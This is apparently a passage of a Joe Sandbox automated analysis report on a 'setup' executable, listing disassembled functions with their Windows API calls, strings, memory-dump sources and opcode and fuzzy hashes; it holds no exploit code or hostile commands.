Opcode Fuzzy Hash: a4473bbf9f503decba0e7483b31eca65fff1e717c1630b579ce9787749cead10
Instruction Fuzzy Hash: E6B155729042469FDF118F68C881BEEBBE5EF5B740F19816AE805EB241DA34DD05DBB0

Function 00BC3E40 Relevance: 6.1, APIs: 4, Instructions: 87timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000003,00000001,02141699,?,?,?,?,00DAD844,000000FF), ref: 00BC3E81
GetWindowLongW.USER32(00000003,000000FC), ref: 00BC3E96
SetWindowLongW.USER32(00000003,000000FC,?), ref: 00BC3EA8
DeleteCriticalSection.KERNEL32(?,02141699,?,?,?,?,00DAD844,000000FF), ref: 00BC3ED3

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: LongWindow$CriticalDeleteKillSectionTimer
String ID:
API String ID: 1032004442-0
Opcode ID: 536fe4422b0f5edc354bb22bd00271164f06e6c791f72eafb52597f1c530ef6a
Instruction ID: d3e5998315406d7116c1b544f60b68caa2ca82015d90138486270c434b07b193
Opcode Fuzzy Hash: 536fe4422b0f5edc354bb22bd00271164f06e6c791f72eafb52597f1c530ef6a
Instruction Fuzzy Hash: 2531A071904246AFCB20DF25DC44B9ABBF4FB05710F14826AE814E3691D7B1EA14CBA0

Function 00BC5CE0 Relevance: 5.7, Strings: 4, Instructions: 696COMMON

Download Yara Rule

Strings

AI_CONTROL_VISUAL_STYLE_EX, xrefs: 00BC6195
AI_NO_BORDER_NORMAL, xrefs: 00BC5DCD
AI_NO_BORDER_HOVER, xrefs: 00BC5E7A
AI_CONTROL_VISUAL_STYLE, xrefs: 00BC5D3A

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: AI_CONTROL_VISUAL_STYLE$AI_CONTROL_VISUAL_STYLE_EX$AI_NO_BORDER_HOVER$AI_NO_BORDER_NORMAL
API String ID: 0-932585912
Opcode ID: 362d57c5e725bab7b588e783d34e28f954371e9c9bfed7ee7171bc8e30889692
Instruction ID: a8de9351d73e2b18f243d8f9d42908dcd74f0caaf71ee15aaa83c11cc3addd3f
Opcode Fuzzy Hash: 362d57c5e725bab7b588e783d34e28f954371e9c9bfed7ee7171bc8e30889692
Instruction Fuzzy Hash: 5642C071D002188BDB18CF68C894FAEB7F1EF85300F14829DE495AB396D774AA45CBA1

Function 00BD8630 Relevance: 5.4, Strings: 4, Instructions: 356COMMON

Download Yara Rule

Strings

Hide, xrefs: 00BD86F9, 00BD8713
<> ", xrefs: 00BD8747
= ", xrefs: 00BD894A
Show, xrefs: 00BD8920

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: <> "$ = "$Hide$Show
API String ID: 0-289022205
Opcode ID: 6c6ff1ac59766bbfacf4ab0f46998911c9b0b92268ab70ea938326e20af8e320
Instruction ID: e94ddad3d5c7a609bc725def66fb1df5b625b7917c8efabcc4beda6328b4a80d
Opcode Fuzzy Hash: 6c6ff1ac59766bbfacf4ab0f46998911c9b0b92268ab70ea938326e20af8e320
Instruction Fuzzy Hash: B6F15C70D04259DFDB24DF64CC55BAEB7B1BF55304F1082DAE0097B291EB74AA84CBA1

Function 00BC9AD0 Relevance: 5.3, Strings: 4, Instructions: 345COMMON

Download Yara Rule

Strings

MultipleInstancesProps, xrefs: 00BC9C10
OldProductCode, xrefs: 00BC9E11
MultipleInstances, xrefs: 00BC9B12
ProductCode, xrefs: 00BC9D7E

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: MultipleInstances$MultipleInstancesProps$OldProductCode$ProductCode
API String ID: 0-469785651
Opcode ID: 666cfe8b21fbb9719074acd65ed4f730092ba5198c862e9ccbfd946f5478cdea
Instruction ID: 65902b9cdc33327927f7d934cefaeb851c044749275f99aaa621e242a279da0b
Opcode Fuzzy Hash: 666cfe8b21fbb9719074acd65ed4f730092ba5198c862e9ccbfd946f5478cdea
Instruction Fuzzy Hash: 7FC1C235A00202DBEB18DF58C899FBAB7F2FF95714B5541EDD8026B244EB30AD45CBA0

Function 00D7D0F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00D7D037,0000001C,00D7D22C,00000000,?,?,?,?,?,?,?,00D7D037,00000004,00E9FA78,00D7D2BC), ref: 00D7D103
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00D7D037,00000004,00E9FA78,00D7D2BC), ref: 00D7D11E

Strings

D, xrefs: 00D7D112

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: a63fa266fa62cbb4cec11cd53a17453996f30fbcf38de3943b564edfebff42d1
Instruction ID: 744919a1a72a04fb5321e1d61887d7307aa3bf9f0616cd1d558112aadcd6b2dd
Opcode Fuzzy Hash: a63fa266fa62cbb4cec11cd53a17453996f30fbcf38de3943b564edfebff42d1
Instruction Fuzzy Hash: BE01F732600209ABCB14DF29CC05BDE7BBAAFC4324F0CC220ED1DD7245E638D845C690

Function 00D7F583 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00BBAD10: InitializeCriticalSectionAndSpinCount.KERNEL32(00E9FEF0,00000000,02141699,00BA0000,Function_00207E40,000000FF,?,00D7F5B2,?,?,?,00BA7726), ref: 00BBAD35
Part of subcall function 00BBAD10: GetLastError.KERNEL32(?,00D7F5B2,?,?,?,00BA7726), ref: 00BBAD3F

IsDebuggerPresent.KERNEL32(?,?,?,00BA7726), ref: 00D7F5B6
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00BA7726), ref: 00D7F5C5

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00D7F5C0

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CountCriticalDebugDebuggerErrorInitializeLastOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 450123788-631824599
Opcode ID: eaa260a03971f233b20860b01f24c1ae51ee5d10b08c2ca185e3529b46a6f4dd
Instruction ID: 4f4eb45a9cf6ce994a473ba2cd8213bf5d007af5b9c14db323698b0f3cc14360
Opcode Fuzzy Hash: eaa260a03971f233b20860b01f24c1ae51ee5d10b08c2ca185e3529b46a6f4dd
Instruction Fuzzy Hash: DDE092702057508FC330AF69D9543427BE4AF04310F108E6DE446E3690EBB1E488CB71

Function 00BA7620 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00D79808
GetVersionExW.KERNEL32(?), ref: 00D79853
IsProcessorFeaturePresent.KERNEL32(00000011), ref: 00D79867

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Version$FeaturePresentProcessor
String ID:
API String ID: 1871528217-0
Opcode ID: 19008f2b79463e290309f60cad83677e3b191b2e6f43376b2940e002e461fec9
Instruction ID: b3f60175c6f272452424afcc1d49cf0cef8ec1ba282ae1203d220ee9acc8f020
Opcode Fuzzy Hash: 19008f2b79463e290309f60cad83677e3b191b2e6f43376b2940e002e461fec9
Instruction Fuzzy Hash: 0D613B72B006204FE318CF2D8C916AABBD5DBCA341F05463FE49AD7291E678D509CBB1

Function 00BC00C0 Relevance: 4.6, APIs: 3, Instructions: 93COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000004), ref: 00BC010E
GetWindowLongW.USER32(00000004,000000FC), ref: 00BC0127
SetWindowLongW.USER32(00000004,000000FC,?), ref: 00BC0139

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 230d271388d9746dfa520800be796a43dbcbf41bdd6ca60ea2a566677156e2f4
Instruction ID: 745eb3b07e11ba3e99790a22dd482b55ebada79bf8baaf8c42cd15d0e1af4625
Opcode Fuzzy Hash: 230d271388d9746dfa520800be796a43dbcbf41bdd6ca60ea2a566677156e2f4
Instruction Fuzzy Hash: EE4168B0600602EFDB10DF65C908B5AFBE4FF05314F14426DE524EBA91DBB6E924CBA0

Function 00D84FE3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00D850DB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00D850E5
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,?), ref: 00D850F2

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 06a674997ea5211cdc00eb7dd81e95033f17d54e1820ffeadab431db01d662ee
Instruction ID: c4a306d6137e0842e3792f84f2205595d81ba0e8bad2f3935b739b3ca33836d8
Opcode Fuzzy Hash: 06a674997ea5211cdc00eb7dd81e95033f17d54e1820ffeadab431db01d662ee
Instruction Fuzzy Hash: 9D31C4749013189BCB21EF64DD897CDBBB4BF08310F6042EAE40CA7261E7709B858F54

Function 00BAA160 Relevance: 4.6, APIs: 3, Instructions: 65COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,02141699,00000001,00000000,?,00000000,00DA7BF0,000000FF,?,00BAA10C,02141699,?,?,*.*,?), ref: 00BAA18B
LockResource.KERNEL32(00000000,?,00BAA10C,02141699,?,?,*.*,?,00000000,00DA82C0,000000FF,?,00BAA2B0,?,?,*.*), ref: 00BAA196
SizeofResource.KERNEL32(00000000,00000000,?,00BAA10C,02141699,?,?,*.*,?,00000000,00DA82C0,000000FF,?,00BAA2B0,?,?), ref: 00BAA1A4

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: 8f445207aecab7b3178d21eecc4644dad4f1b47e9391f29e361c428f97521fa2
Instruction ID: bd94431147805ebbbb43f9609fdf9da6a5ff7c27111cc6036b384f7cbeea7650
Opcode Fuzzy Hash: 8f445207aecab7b3178d21eecc4644dad4f1b47e9391f29e361c428f97521fa2
Instruction Fuzzy Hash: 7211E736A04654AFD7309F69DC40B76B7ECE78A720F104A6BEC1AE3240E7359C00C6A0

Function 00BB8C40 Relevance: 4.5, APIs: 3, Instructions: 28COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(0000001B,000000FC), ref: 00BB8C59
SetWindowLongW.USER32(0000001B,000000FC,?), ref: 00BB8C67
DestroyWindow.USER32(0000001B), ref: 00BB8C93

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Window$Long$Destroy
String ID:
API String ID: 3055081903-0
Opcode ID: de7f6648191317e1a9b78cfe14a63fcb1f7f1b89648ef506dc65099b5d8dc02c
Instruction ID: cefd45eb2d1af81b922c86aa50a572703c49e21b289a18440ce453cf28565e30
Opcode Fuzzy Hash: de7f6648191317e1a9b78cfe14a63fcb1f7f1b89648ef506dc65099b5d8dc02c
Instruction Fuzzy Hash: 20F06D71005B109BCB615B29ED04B92BBE0FB04321B004B6AE4AAD15F1CBA0A844CB90

Function 00D260D0 Relevance: 4.1, Strings: 3, Instructions: 314COMMON

Download Yara Rule

Strings

Show, xrefs: 00D2625A
gfff, xrefs: 00D26212
) AND ( , xrefs: 00D262B3

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: ) AND ( $Show$gfff
API String ID: 0-344708357
Opcode ID: cf00af4d81e8686301c99ac05980fd74c3b18524d5f5db597bf2b1e6d67efb03
Instruction ID: 9d20dae9b221c7193bbe69b42e6a6ca5dcf50d4074acb9d3fa4c065c3792bfdc
Opcode Fuzzy Hash: cf00af4d81e8686301c99ac05980fd74c3b18524d5f5db597bf2b1e6d67efb03
Instruction Fuzzy Hash: DBD18A71904268CFDB24DF68C845BAEBBF1AF55304F1442D9E449BB281DB70AE84CBA1

Function 00D00290 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,02141699), ref: 00D002EE

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

Strings

%04d-%02d-%02d %02d-%02d-%02d, xrefs: 00D00330

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer$HeapLocalProcessTime
String ID: %04d-%02d-%02d %02d-%02d-%02d
API String ID: 219929307-3768011868
Opcode ID: 379b20d9c6fe0e098901a25d945ffc111591dab4996e06e8d2937686c5f396ee
Instruction ID: 2f21026a61efca2574506b370bd03e8aab2ec8b8919aaae178d408cefae9e368
Opcode Fuzzy Hash: 379b20d9c6fe0e098901a25d945ffc111591dab4996e06e8d2937686c5f396ee
Instruction Fuzzy Hash: 5B217CB1D04218AFDB14DF99D941BBEBBF8EB0C710F10426AF915A3281E7759940CBB5

Function 00D8FF60 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6623433adaf61770b287b3ddac49c5cfca5bdbedcea1cffde8d45c5c429c772b
Instruction ID: 1ecc51e1bac55cff125245ced40a754a0ff750e4851eb81a3239267f453afb48
Opcode Fuzzy Hash: 6623433adaf61770b287b3ddac49c5cfca5bdbedcea1cffde8d45c5c429c772b
Instruction Fuzzy Hash: A2F12F71E002199FDF14CFA9D8806AEBBF1FF48314F198269E919A7390D731AD45CBA4

Function 00BD0C80 Relevance: 3.3, APIs: 2, Instructions: 258windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000102B,00000000,00000001), ref: 00BD0DAB
SendMessageW.USER32(?,0000102B,?,-00000002), ref: 00BD0F95

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: aec831aa01e340f1cfebb705ac56e4c104ec30dfaa09e6f663f5fdae670359cc
Instruction ID: 1bec4a12c237ebb3f718f42b6616b022aacf602dd93176fdc09afa432a86b981
Opcode Fuzzy Hash: aec831aa01e340f1cfebb705ac56e4c104ec30dfaa09e6f663f5fdae670359cc
Instruction Fuzzy Hash: BBB1C271A10246AFDB18DF64C595BA9FBF5FF18300F1485AAE459EB381E734E940CB90

Function 00CCEF90 Relevance: 3.1, APIs: 2, Instructions: 134windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,02141699,?,00000000), ref: 00CCEFDB
GetLastError.KERNEL32(?,00000000), ref: 00CCEFE5

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AllocateErrorFormatHeapLastMessage
String ID:
API String ID: 4114510652-0
Opcode ID: 6b61380a3323cfe0d59331337fdc1a777e48cb685eb015fe4a721dc3e81cd186
Instruction ID: 6a2f4bb5317112ed13914a26655740a21b563eb2db8ae8324c6afa6ce4f3867f
Opcode Fuzzy Hash: 6b61380a3323cfe0d59331337fdc1a777e48cb685eb015fe4a721dc3e81cd186
Instruction Fuzzy Hash: E0411172A042149FEB10CFA9C805BAEF7F8EB45B14F14426EE815E7381E7B65A00C7A0

Function 00CCB7D0 Relevance: 3.1, APIs: 2, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f5317e98c71c45bdf4de60b76ad016faef7f8577bd4b5bb4b72c80e4f47aa84
Instruction ID: 314843d529adf4742e946f922dbc9a9944f0ad78116f6b524c70a906bb6bd3c0
